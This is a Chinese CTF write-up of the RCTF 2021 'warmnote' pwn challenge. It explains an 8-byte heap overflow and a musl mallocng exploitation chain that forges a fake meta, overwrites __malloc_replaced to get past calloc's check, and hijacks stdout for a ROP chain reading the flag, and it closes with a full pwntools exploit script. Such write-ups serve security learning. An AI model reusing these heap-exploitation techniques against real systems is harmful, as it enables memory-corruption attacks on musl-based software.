[PWN] warmnote - xf1les xp0int Posted on Sep 14 2021 ``` RCTF 2021 warmnote Point:869 Solved:4 [2ND BLOOD] nc 124.70.137.88 20000 https://adworld.xctf.org.cn/media/uploads/task/9b1a620e6e43471084eb622e7c4d988c.zip ``` ## 1. 漏洞点 ![title](https://leanote.com/api/file/getImage?fileId=61406494ab64417e14082cec) 漏洞点就在 edit 里面,上图红框处。注意类型转换是`_QWORD *`而不是`_BYTE*`,所以这条语句做的不是空字节截断,而是直接把 chunk 后面 8 个字节直接清空,相当于可以溢出 8 个字节。 ![title](https://leanote.com/api/file/getImage?fileId=6140678dab64417e0ded710e) 此外,题目使用了`calloc`函数分配 chunk。 ## 2. 漏洞利用 整体思路跟`musl`差不多,只是多了一个避免 calloc 触发 crash 的步骤。 首先泄露 libc 地址。跟`musl`一样,先将 0x30 group 的所有 slot 都分配出去,启用 mallocng 重用已释放 slot 的机制。分配时,用`A`填满堆块。 ![title](https://leanote.com/api/file/getImage?fileId=614084d3ab64417e14082e9c) 释放某个 0x30 chunk,然后创建一个新的 chunk。此时,原先已释放、用`A`填满的 slot 会被用于存放新 chunk 的 Title 和 Ptr 指针,且 Title 和 Ptr 之间的间隔被残留的`A`填满。因此 view 功能打印 Title 时,可以直接泄露出 Ptr 指针。 得到 libc 地址后,利用题目提供的后门获取`__malloc_context->secret`的值(题目提供的`libc.so`没有带调试符号,可以逆向`malloc`函数汇编代码找`__malloc_context`的偏移)。 ![title](https://leanote.com/api/file/getImage?fileId=614087b6ab64417e14082eb3) 最后利用漏洞点将某个 chunk 的 header 清零,构造 fake meta,放置 fake_meta_ptr,释放 chunk,最后将 fake meta 放入到`__malloc_context`的`active`bin 中。 *** 需要注意的是,使用 calloc 分配 fake chunk 会导致程序崩溃。 因为 calloc 会调用一个名为`__malloc_allzerop`的函数,检查分配到的堆块是否为全零。 ``` // src/calloc.c:33 void *calloc(size_t m, size_t n) { [...] void *p = malloc(n); if (!p || (!__malloc_replaced && __malloc_allzerop(p))) <--------- return p; n = mal0_clear(p, n); return memset(p, 0, n); } ``` `__malloc_allzerop`调用`get_meta`函数获取 chunk 的 meta。由于 fake chunk 不能通过`get_meta`函数中的合法性检查,程序会直接 crash 掉。 ```c // src/mallocng/malloc.c:382 int is_allzero(void *p) { struct meta *g = get_meta(p); <---------- return g->sizeclass >= 48 || get_stride(g) < UNIT*size_classes[g->sizeclass]; } ``` 唯一能够避免 crash 的方法就是将`__malloc_replaced`全局变量设为非零。 ``` // 当 __malloc_replaced 为真时,不执行 __malloc_allzerop(p) if (!p || (!__malloc_replaced && __malloc_allzerop(p))) return p; ``` ![title](https://leanote.com/api/file/getImage?fileId=61409f44ab64417e0ded7380) 我们可以先将`fake_meta->mem`设为`__malloc_replaced+4`,然后调用 calloc 分配一个 fake chunk。calloc 调用的 malloc 会将 fake chunk header 写到`__malloc_replaced`上面,使其变为一个非零值,从而阻止 calloc 调用`__malloc_allzerop`。 解决`__malloc_allzerop`后,就能按照`musl`的步骤劫持 stdout 执行 ORW ROP 了。 ## 3. EXP ``` #!/usr/bin/env python3 from pwn import * warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64") context(log_level="debug") libc = ELF("./libc.so") # ~ p = remote("124.70.137.88", 20000) p = process("./warmnote") NUL = b"\x00" def add(size, ctx='A', title="\n"): p.sendlineafter(">>", '1') p.sendlineafter(":", str(size)) p.sendafter(":", title) p.sendline(ctx) def free(idx): p.sendlineafter(">>", '3') p.sendlineafter(":", str(idx)) def show(idx): p.sendlineafter(">>", '2') p.sendlineafter(":", str(idx)) def gift(idx): p.sendlineafter(">>", '666') p.sendlineafter(":", str(idx)) def edit(idx, ctx): p.sendlineafter(">>", '4') p.sendlineafter(":", str(idx)) p.sendlineafter(":", ctx) ## allocate all slots from 0x30 group for i in range(3): add(0x30, "A"*0x30) add(0x800) ## Leak mmapbase and libcbase by reusing freed slot free(0) free(1) add(0x1540-4) add(0x1540-4, title="a"*0x10) show(1) p.recvuntil("Title: aaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAA") mmapbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x1550 libc.address = mmapbase + 0x6000 success("libcbase: 0x%lx", libc.address) success("mmapbase: 0x%lx", mmapbase) ## Leak __malloc_context->secret malloc_ctx = libc.address + 0xB4AC0 gift(malloc_ctx) p.recvuntil("[OUT]: ") secret = u64(p.recv(8)) success("secret: 0x%lx", secret) ######################################################################## ## Construct fake_meta sizeclass = 10 fake_meta = flat([ secret, # area->check 0, 0, # meta->prev, meta->next mmapbase + 0x1540, # meta->mem 0, # meta->avail_mask, meta->freed_mask (sizeclass << 6) + 1, # meta->sizeclass, meta->last_idx ]) fake_meta_ptr = mmapbase + 0x1008 ## [BUG] Set chunk1 header to zero """ .text:00000000000016C7 ; 18: *(_QWORD *)(LIST[v1]->Ptr + LIST[v1]->Size) = 0LL; <......> .text:00000000000016F5 mov qword ptr [rax], 0 """ pp = flat({ 0x1000-0x10: fake_meta, 0x1540-0x10: fake_meta_ptr, }, filler=NUL) edit(0, pp) ## Insert fake_meta into __malloc_context->active bin free(1) ######################################################################## ## Set fake_meta->mem to __malloc_replaced+4 malloc_replaced = libc.address + 0xB6F84 fake_meta = flat([ secret, # area->check 0, 0, # meta->prev, meta->next malloc_replaced+4-0x10, # meta->mem 1, # meta->avail_mask, meta->freed_mask (1 << 6) + 1, # meta->sizeclass, meta->last_idx ]) free(0) add(0x1500, (0x1000-0x20) * NUL + fake_meta) ## allocate __malloc_replaced+4 ## By doing this, __malloc_replaced will be overwritten by malloc() and become a non-zero value, ## which prevents calloc() calling __malloc_allzerop() that causes crashes while validating our fake chunk. add(0xa0) ######################################################################## ## Build ROP chain buf = mmapbase + 0x800 rop = ROP(libc) rop.open(buf, 0) rop.read(3, buf, 0x100) rop.write(1, buf, 0x100) ## Set fake_meta->mem to __stdout_FILE, place ROP chain stdout = libc.address + 0xb4280 fake_meta = flat([ secret, # area->check 0, 0, # meta->prev, meta->next stdout-0x30, # meta->mem 1, # meta->avail_mask, meta->freed_mask (1 << 6) + 1, # meta->sizeclass, meta->last_idx ]) pp = flat({ 0x400-0x30 : rop.chain(), 0x800-0x30 : b"./flag", 0x1000-0x30: fake_meta, }, filler=NUL) free(0) add(0x1500, pp) ## Build fake stdout rop_chain = mmapbase + 0x400 # 0x000000000007b1f5: mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]; stack_mig = libc.address + 0x7b1f5 # 0x00000000000152a2: ret; ret = libc.address + 0x152a2 fake_stdout = flat({ 0x20: 1, # f->wpos 0x28: 1, # f->wend 0x30: rop_chain, 0x38: ret, 0x48: stack_mig, # f->write }, filler=NUL) ### Overwrite __stdout_FILE free(3) add(0xa0, fake_stdout) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [RE] uniapp - cew [PWN] musl - xf1les
没有帐号? 立即注册